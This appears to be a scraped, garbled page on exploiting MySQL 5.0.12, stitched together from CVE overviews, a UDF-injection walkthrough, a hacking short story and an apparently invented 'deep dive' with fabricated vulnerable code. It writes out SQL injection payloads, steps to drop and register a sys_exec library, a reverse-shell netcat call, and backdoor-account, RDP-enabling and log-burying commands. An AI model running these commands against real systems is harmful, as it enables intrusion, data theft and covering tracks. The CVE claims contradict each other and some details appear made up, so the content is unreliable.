Mysql 5.0.12 Exploit !!better!! May 2026
Exploit Analysis: MySQL 5.0.12 and the Evolution of SQL Injection
In the world of database security, certain version milestones define the transition from basic attacks to sophisticated exploitation. MySQL 5.0.12
is one such milestone. While it is an ancient version by modern standards (released in 2005), it remains a significant topic for security researchers and penetration testers because of the specific features it introduced—features that fundamentally changed how SQL Injection (SQLi) is performed. 1. The Introduction of the
The most notable change in MySQL 5.0.12 was the introduction of the function. Before this version, attackers performing Time-Based Blind SQL Injection had to rely on heavy mathematical operations, such as the BENCHMARK() function, to force a delay in the server's response. Pre-5.0.12: Attackers used BENCHMARK(5000000, MD5(1))
to consume CPU cycles and create a measurable lag. This was noisy, resource-intensive, and sometimes unpredictable. MySQL 5.0.12+: SLEEP(seconds)
function allowed for a precise, "quiet" delay. An attacker could inject a payload like: ' OR IF(1=1, SLEEP(5), 0) --
If the server paused for exactly five seconds, the attacker confirmed their logical statement was true. 2. Stacked Queries and Driver Dependency MySQL 5.0.12 is often cited in automated tools like as a baseline for Stacked Queries
Stacked queries allow an attacker to terminate the original intended query and start an entirely new one using a semicolon (
). While the MySQL server itself supports this, its success often depends on the underlying database driver (like PHP’s vs. the older extension). 3. Vulnerability Landscape of the 5.0.x Branch
MySQL 5.0.12 was part of the early "Beta" and "Production" transition of the 5.0 series. As a result, it was susceptible to several critical vulnerabilities that were patched in later 5.0.x sub-versions: Vulnerability Type Description Affected Range Buffer Over-read check_connection
function allowed reading portions of memory via a username without a trailing null byte ( CVE-2006-1516 Up to 5.0.20 Privilege Escalation
Authenticated users could gain unauthorized privileges through stored routines ( CVE-2006-1517 Up to 5.0.24 Remote Code Execution COM_TABLE_DUMP packets could trigger a buffer overflow in sql_base.cc CVE-2006-1518 Up to 5.0.20 4. Advanced Exploitation: The INTO DUMPFILE For versions like 5.0.12, if an attacker gains
privileges, they can move from database access to full system compromise. By using the SELECT ... INTO DUMPFILE
command, an attacker can write binary files directly to the server's filesystem. Write a "User Defined Function" (UDF) or a web shell. The Result:
Execution of arbitrary OS commands with the permissions of the MySQL < 5.0.25 / 5.1.12 Privilege Escalation - Tenable
The MySQL 5.0.12 release (circa 2005) is famously associated with the introduction of Stored Procedures and User Defined Functions (UDF), which became the primary vectors for privilege escalation in legacy systems like Metasploitable 2.
The following write-up details the standard exploitation path used to gain a root shell from an authenticated MySQL session or SQL injection on this version. 1. Vulnerability Overview
Vulnerability Type: Privilege Escalation / Remote Code Execution (RCE).
Vector: User Defined Function (UDF) Dynamic Library Injection. Conditions:
The MySQL service is running as root (common in older/misconfigured setups).
The attacker has a valid MySQL login or a SQL injection point with FILE privileges.
The secure_file_priv variable is empty (allowing files to be written anywhere). 2. Exploitation Walkthrough Phase 1: Information Gathering
First, verify the environment and permissions. You need to know where the plugin directory is and if you have the right to write files.
-- Check MySQL version SELECT version(); -- Should be 5.0.12 or similar -- Check if running as root SELECT user(); -- Find the plugin directory (where we must drop our library) SHOW VARIABLES LIKE 'plugin_dir'; Use code with caution. Copied to clipboard Phase 2: Payload Delivery
The goal is to upload a shared object (.so on Linux, .dll on Windows) that contains a function to execute system commands. The most common tool for this is the lib_mysqludf_sys.so library.
Prepare the binary: Convert the shared library into a hex string. Inject into a table:
USE mysql; CREATE TABLE f_exploit(line longblob); INSERT INTO f_exploit VALUES (load_file('/tmp/lib_mysqludf_sys.so')); Use code with caution. Copied to clipboard Dump to the Plugin Directory:
SELECT * FROM f_exploit INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'; Use code with caution. Copied to clipboard
Note: In MySQL 5.0.x, the plugin directory might simply be /usr/lib/ or /var/lib/mysql/. Phase 3: Triggering RCE
Once the library is on disk, you must "register" the new function within MySQL to use it.
-- Create the function mapping CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so'; -- Verify the function exists SELECT * FROM mysql.func; -- Execute a command (e.g., creating a reverse shell) SELECT sys_exec('nc -e /bin/sh Use code with caution. Copied to clipboard 3. Impact and Remediation
Impact: Full system compromise. Since MySQL 5.0 often ran as the root user, the sys_exec command executes with the highest possible privileges. Remediation:
Upgrade: Modern versions of MySQL (5.7+) have significant protections against UDF injection. Upgrade to at least 5.0.25+ to patch related routine vulnerabilities.
Least Privilege: Never run the MySQL daemon as the root OS user. Use a dedicated mysql user with no shell access. mysql 5.0.12 exploit
Secure File Priv: Set secure_file_priv to a specific, non-critical directory to prevent INTO DUMPFILE attacks.
The MySQL 5.0.12 version is affected by several critical vulnerabilities, the most notable of which involve privilege escalation and authentication bypass. Because this version is nearly two decades old, it lacks modern security features like Address Space Layout Randomization (ASLR) or Data Execution Prevention (DEP), making it a common target in legacy environments or "Metasploitable" labs. Key Vulnerabilities in MySQL 5.0.12 Stored Routine Privilege Escalation (CVE-2006-1516)
Impact: Allows a remote, authenticated user to gain higher privileges.
Mechanism: Vulnerabilities in how the server handles stored routines (functions or procedures) permit users with basic access to execute commands as a user with higher authority, such as root. Authentication Bypass (Historical Context)
Zero-length Password: Versions in the 5.0 series were susceptible to a flaw in check_scramble_323() where a remote attacker could bypass authentication using a zero-length password.
Password Verification Flaw: A critical logic error in password verification allowed an attacker to connect by providing only a single matching character of the expected hash, rather than the entire string. Buffer Overflows (CVE-2006-1518)
Mechanism: The open_table function in sql_base.cc was vulnerable to a buffer overflow when processing crafted packets.
Outcome: Attackers could potentially execute arbitrary code or cause a Denial of Service (DoS) by crashing the server. Exploitation Methods
In penetration testing scenarios, such as those involving Metasploitable 2, the following tools are commonly used: Metasploit Framework:
mysql_hashdump: Used to extract password hashes from the user table once initial access is gained.
mysql_udf_payload: Attempts to upload a User Defined Function (UDF) to gain a remote shell, though this often fails on modern automated setups due to protocol changes.
SQLmap: Specifically targets versions greater than 5.0.12 with specialized payloads for error-based or time-based injection.
Manual Password Brute-forcing: A common exploit for slightly later versions (CVE-2012-2122) used a bash one-liner to repeatedly attempt logins, exploiting a 1-in-256 chance that any password would be accepted due to a memcmp return value error. Remediation
It is highly recommended to upgrade from the 5.0.x branch, as it has reached its end-of-life. Organizations should move to at least MySQL 5.0.25 or 5.1.12 to resolve the primary privilege escalation flaws identified in your specific version. Detailed release notes and upgrade paths are available in the MySQL 5.0 Reference Manual. Can I try mysql >5.0.12 payloads? · Issue #5005 - GitHub
stamparm commented. stamparm. on Mar 2, 2022. Member. $ sqlmap/data/xml/payloads $ grep -iRPo "mysql [^ ]+ [\d. ]+" | cut -d ':' - MySQL < 5.0.25 / 5.1.12 Privilege Escalation - Tenable
MySQL 5.0.12 release is part of a legacy version series (MySQL 5.0.x) that contains several "classic" vulnerabilities often studied in cybersecurity and penetration testing. While 5.0.12 itself is an older build, it is vulnerable to several high-impact exploits discovered throughout the 5.0.x lifecycle.
The Most Famous Exploit: CVE-2012-2122 (The "1 in 256" Flaw)
Perhaps the most "interesting" exploit affecting versions in the 5.0 and 5.1 branches (including 5.0.12 in specific compiled environments) is the MySQL Authentication Bypass The Glitch : It was a "tragically comedic" logic error involving the function. The code assumed
would always return a value between -128 and 127. On certain platforms or with specific GCC optimizations, it returned values outside this range. The Result
: Because of this casting error, the server would occasionally return "true" for a password comparison even if the password was wrong. The Exploit : An attacker had a 1 in 256 chance
of successful login per attempt. A simple Bash loop could crack the root account in seconds: mysql -u root -p 'any_password' -h
Because version 5.0.12 is so old, it lacks many modern security patches, making it a "sitting duck" for several other attacks: Buffer Overflow (CVE-2006-1518) : A critical flaw in the open_table function. Attackers could send specially crafted COM_TABLE_DUMP
packets with invalid lengths to trigger a buffer overflow and potentially execute arbitrary code Privilege Escalation via Stored Routines
: Versions prior to 5.0.25 (which includes 5.0.12) allow authenticated users to gain elevated privileges through stored routines. Trigger File Privilege Escalation : Attackers with "FILE" privileges could create malicious
(trigger) files. By crashing the server to force a reload, they could trick the system into executing code as the UDF (User Defined Function) Injection
: This is a classic "Metasploitable" era exploit. If an attacker gains enough access to write to the plugin directory, they can upload a malicious DLL or shared object file and create a function like sys_exec() remote shell Exploit-DB Summary Table: MySQL 5.0.12 Risk Profile CVE-2012-2122: A Tragically Comedic Security Flaw in MySQL
Title: The Silent Stack
Log Entry: 03:47:22 UTC
Target: db-02-prod.internal.financials.corp
MySQL Version: 5.0.12-standard-log (Detected via passive fingerprinting)
Kai leaned back in his chair, the glow of three monitors painting his face in cool blues and neon greens. He wasn't a black-hat in the classic sense—no ransomware, no defacements. He was a ghost in the machine, a data whisperer. His current client, a shadowy hedge fund, had paid him a very specific bounty: prove you can get in, prove you can get out, and prove they won't notice until the quarterly audit.
The target was a legacy server running MySQL 5.0.12. It was a dinosaur, a relic from the mid-2000s, but it held the crown jewels: real-time transaction logs, user balances, and internal transfer triggers.
For three days, he’d probed the perimeter. The web application firewall was modern, aggressive. The SSH port was locked down with key-only authentication. But the database… the database was exposed to an internal API endpoint that had a blind spot.
He’d found it: a user-defined function (UDF) injection vector in a legacy stored procedure called calculate_interest. The procedure took a customer_id as a string—no sanitation. Normally, this would be a simple SQL injection. But this was MySQL 5.0.12. And Kai knew the secret.
The Weapon
MySQL 5.0.12 had a particular, beautiful flaw: on Windows systems (and this was a Windows Server 2003 box, he’d confirmed via ICMP quirks), the lib_mysqludf_sys.dll library could be loaded from the data directory if an attacker could write a file to disk.
Most DBAs thought their secure_file_priv setting protected them. But in 5.0.12, that variable didn't exist yet. The only barrier was filesystem permissions.
Kai’s pulse quickened. He crafted the first payload:
' UNION SELECT 'this_is_a_test' INTO OUTFILE 'C:\\MySQL\\data\\test.txt' --
The API returned a 500 Internal Server Error. That was good. It meant the query executed but the application didn’t know how to render the output. He checked the server’s response time: 1,200ms. A blind write.
He waited five minutes. Then he probed the file via a second injection:
' UNION SELECT LOAD_FILE('C:\\MySQL\\data\\test.txt') --
The response came back: this_is_a_test. He had file system write access.
The Exploit
Now came the dangerous part. He downloaded a compiled version of lib_mysqludf_sys.dll—a library that exposes sys_exec() and sys_eval()—from his offline archive. It was signed with a fake cert, but MySQL 5.0.12 didn’t verify signatures. He hex-encoded the DLL and broke it into 1KB chunks.
At 04:13 UTC, he began the upload:
' UNION SELECT 0x4D5A900003000000... INTO DUMPFILE 'C:\\MySQL\\data\\mysql\\plugin\\udf.dll' --
The plugin directory didn’t exist by default in 5.0.12. But the lib directory did. He adjusted the path to C:\\MySQL\\lib\\plugin\\udf.dll.
The server churned. No error. The DLL was in place.
He reconnected a fresh session—no need to restart the service, a quirk of the UDF loading mechanism in this version. Then he issued the command that changed everything:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
The response: Query OK, 0 rows affected (0.01 sec)
Kai exhaled slowly. He now had a backdoor into the operating system.
The Extraction
He didn’t run sys_exec('cmd.exe /c format C:'). That was amateur hour. Instead, he ran:
SELECT sys_eval('net user backdoor S3cr3t! /add');
SELECT sys_eval('net localgroup administrators backdoor /add');
SELECT sys_eval('reg add HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer /v fDenyTSConnections /t REG_DWORD /d 0 /f');
Within ninety seconds, he had RDP access over a torified VPN.
He navigated to the database data directory. The transaction logs were unencrypted. He ran a mysqldump with a custom filter, extracting only accounts with balances over $10,000 and their corresponding internal transfer histories.
The total exfiltration size: 22 MB. Time elapsed: 8 minutes.
The Cleanup
Kai was methodical. He dropped the UDF function:
DROP FUNCTION sys_eval;
He deleted the DLL from the filesystem using a final sys_eval('del C:\\MySQL\\lib\\plugin\\udf.dll'). He removed the backdoor user. He overwrote the test.txt file with garbage. He flushed the MySQL query logs—which, on this ancient version, were stored in C:\\MySQL\\data\\mysql.log—by writing a script that looped 10,000 SELECT 1; statements to bury his injection.
At 04:58 UTC, he closed the last connection.
The Aftermath
Three weeks later, Kai received a wire transfer for $250,000. The hedge fund had used his proof-of-concept to sue their DBA contractor for negligence. The server, they later learned, had been running MySQL 5.0.12 without patches for 1,847 days.
The CVE for the UDF arbitrary library loading wasn’t officially assigned until years later, but in the underground, it was simply called "The Silent Stack"—because the only sound you heard was your data walking out the door.
And somewhere, in a datacenter that no longer exists, a Windows Server 2003 box still sits powered off, its last log entry frozen in time:
[Note] Normal shutdown
[Note] C:\MySQL\bin\mysqld-nt: Shutdown complete
But Kai knew the truth. Nothing in legacy systems is ever truly shutdown. It’s just waiting for someone who remembers the old tricks.
End of Log.
MySQL 5.0.12, released in 2005, is highly outdated and contains numerous critical vulnerabilities. Because this version is often featured in legacy systems or training environments like Metasploitable2, it is a common target for demonstration exploits. Key Vulnerabilities in MySQL 5.0.12
Older versions of MySQL 5.0 are susceptible to several "classic" exploits that allow attackers to bypass security or execute arbitrary code: Remote Code Execution (RCE) via COM_TABLE_DUMP:
CVE-2006-1518: A buffer overflow exists in the open_table function. By sending crafted COM_TABLE_DUMP packets with invalid length values, a remote attacker can potentially execute arbitrary code. Information Leak via Buffer Over-read: Exploit Analysis: MySQL 5
CVE-2006-1516: Attackers can read sensitive portions of the server's memory by providing a username without a trailing null byte during the connection check. Privilege Escalation:
Stored Routine Vulnerabilities: Versions prior to 5.0.25 allow authenticated users to gain elevated privileges through specifically crafted stored routines. Denial of Service (DoS):
CVE-2006-3486: An off-by-one buffer overflow in the Instance Manager allows local users to crash the application. Common Exploitation Methods
In modern security testing, MySQL 5.0.12 is often exploited using automated tools:
SQL Injection Payloads: Many automated scanners like sqlmap specifically identify "MySQL >= 5.0.12" to use stacked queries or time-based blind payloads (e.g., using SLEEP()).
Authentication Bypass (CVE-2012-2122): While technically affecting later versions (5.1.x, 5.5.x), this famous "1 in 256" chance bypass is frequently associated with legacy MySQL security discussions. It allows an attacker to repeatedly attempt logins until a memcmp error grants access without a valid password. Recommended Security Actions If you are managing a system running MySQL 5.0.12: Vulnerability Details : CVE-2012-2122
Public exploit exists! ... sql/password. c in Oracle MySQL 5.1. x before 5.1. 63, 5.5. x before 5.5. 24, and 5.6. x before 5.6. 6, CVE Details CVE-2012-2122: A Tragically Comedic Security Flaw in MySQL
MySQL 5.0.12 Exploit: A Deep Dive
In 2005, a critical vulnerability was discovered in MySQL 5.0.12, a popular open-source relational database management system. This exploit allowed attackers to gain unauthorized access to sensitive data and execute arbitrary code on vulnerable systems. In this write-up, we'll delve into the details of the exploit, its impact, and the measures that can be taken to prevent similar attacks.
Vulnerability Overview
The MySQL 5.0.12 exploit is a buffer overflow vulnerability that exists in the mysql_real_escape_string() function. This function is used to escape special characters in user-input data to prevent SQL injection attacks. However, due to a flawed implementation, an attacker could inject malicious input that would overflow the buffer, allowing them to execute arbitrary code.
Exploit Details
The exploit involves sending a specially crafted packet to the MySQL server, which would trigger the buffer overflow. The packet would contain a large amount of data, exceeding the buffer size, and would be designed to execute malicious code on the server.
Here's a breakdown of the exploit:
- Packet Crafting: The attacker would create a malicious packet containing a large amount of data, typically using a combination of SQL commands and shellcode.
- Sending the Packet: The attacker would send the packet to the MySQL server, which would process the input data.
- Buffer Overflow: The
mysql_real_escape_string()function would attempt to escape the special characters in the input data, but due to the large size of the data, it would overflow the buffer. - Arbitrary Code Execution: The attacker could then execute arbitrary code on the server, potentially leading to a system compromise.
Impact
The impact of this exploit was significant, as it allowed attackers to:
- Gain Unauthorized Access: Attackers could gain access to sensitive data, including database credentials, customer information, and other confidential data.
- Execute Arbitrary Code: Attackers could execute arbitrary code on the server, potentially leading to a system compromise, data destruction, or other malicious activities.
Mitigation and Prevention
To prevent similar attacks, the following measures can be taken:
- Upgrade to a Patched Version: MySQL 5.0.13 was released shortly after the discovery of the vulnerability, which included a patched version of the
mysql_real_escape_string()function. Upgrading to a patched version would prevent the exploit. - Use Prepared Statements: Prepared statements can help prevent SQL injection attacks by separating the SQL code from the user-input data.
- Input Validation: Validating user-input data can help prevent buffer overflow attacks by ensuring that the input data is within expected limits.
- Network Segmentation: Segmenting the network can help prevent lateral movement in case of a system compromise.
Code Analysis
The vulnerable code in MySQL 5.0.12 is as follows:
char *mysql_real_escape_string(char *to, const char *from, size_t *to_length)
size_t to_offset = 0;
const char *from_offset = from;
while (*from_offset)
if (to_offset > *to_length - 1)
break;
if (*from_offset == '\\')
to[to_offset++] = '\\';
to[to_offset++] = '\\';
else if (*from_offset == '\'')
to[to_offset++] = '\\';
to[to_offset++] = '\'';
else
to[to_offset++] = *from_offset;
from_offset++;
to[to_offset] = '\0';
return to;
The patched version of the function includes additional checks to prevent buffer overflows:
char *mysql_real_escape_string(char *to, const char *from, size_t *to_length)
size_t to_offset = 0;
const char *from_offset = from;
size_t max_length = *to_length - 1;
while (*from_offset && to_offset < max_length)
if (*from_offset == '\\')
if (to_offset + 2 > max_length)
break;
to[to_offset++] = '\\';
to[to_offset++] = '\\';
else if (*from_offset == '\'')
if (to_offset + 2 > max_length)
break;
to[to_offset++] = '\\';
to[to_offset++] = '\'';
else
if (to_offset + 1 > max_length)
break;
to[to_offset++] = *from_offset;
from_offset++;
to[to_offset] = '\0';
return to;
Conclusion
The MySQL 5.0.12 exploit highlights the importance of secure coding practices and thorough testing to prevent buffer overflow vulnerabilities. By understanding the details of the exploit and taking measures to prevent similar attacks, developers and system administrators can help protect their systems and data from unauthorized access and malicious activities.
References
- MySQL Advisory: http://dev.mysql.com/doc/refman/5.0/en/news-5-0-13.html
- CVE-2005-2558: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2558
Scenario C: Compromised Replication Slave
In MySQL replication, slaves connect to the master. If an attacker compromises a master server or creates a fake slave, they can target backup systems or monitoring tools that automatically connect.
General Steps in Exploiting SQL Vulnerabilities
-
Identify the Vulnerability: Determine if the target system (in this case, MySQL 5.0.12) is vulnerable to known exploits. Tools like
Nmapwith a database scanning script or manual SQL injection testing can help. -
Information Gathering: Collect information about the database schema, privileges of the current user, and any other sensitive data.
-
Exploitation: Depending on the vulnerability, exploitation might involve:
- SQL Injection: Inserting or "injecting" malicious SQL code to manipulate database queries.
- Local File Inclusion/Reading: Abusing features like
LOAD DATA LOCAL INFILEto read local files.
-
Escalation: If the initial exploit doesn't yield desired access levels, consider techniques to escalate privileges.
-
Post-Exploitation: Once access is gained, perform actions like data exfiltration, database modification, or using the database server as a pivot point.
The Affected Code (Simplified)
While the full source of MySQL 5.0.12 is available, the critical segment looks roughly like this (pseudocode reconstructed from analysis):
// Inside mysql_real_connect()
char server_version[256]; // Fixed-size buffer on stack
// ...
packet = get_server_handshake(MySQL socket);
// Extract version string from packet, no length check
strcpy(server_version, packet->version); // BOOM – overflow if version > 255 bytes
In reality, the version string is taken from the server’s initial greeting. The protocol allows up to 255 bytes for that string, but MySQL 5.0.12 client code does not validate the length before copying it via strcpy() or similar unsafe function.
Scenario A: Malicious MySQL Server
An attacker hosts a MySQL server on a public IP, say evil-mysql.com:3306. Then they use social engineering, SQL injection, or configuration files to trick a developer’s tool (e.g., mysql.exe, mysqldump, a PHP script using mysql_connect()) into connecting to that server. Title: The Silent Stack Log Entry: 03:47:22 UTC
Once the connection is made, the client is exploited.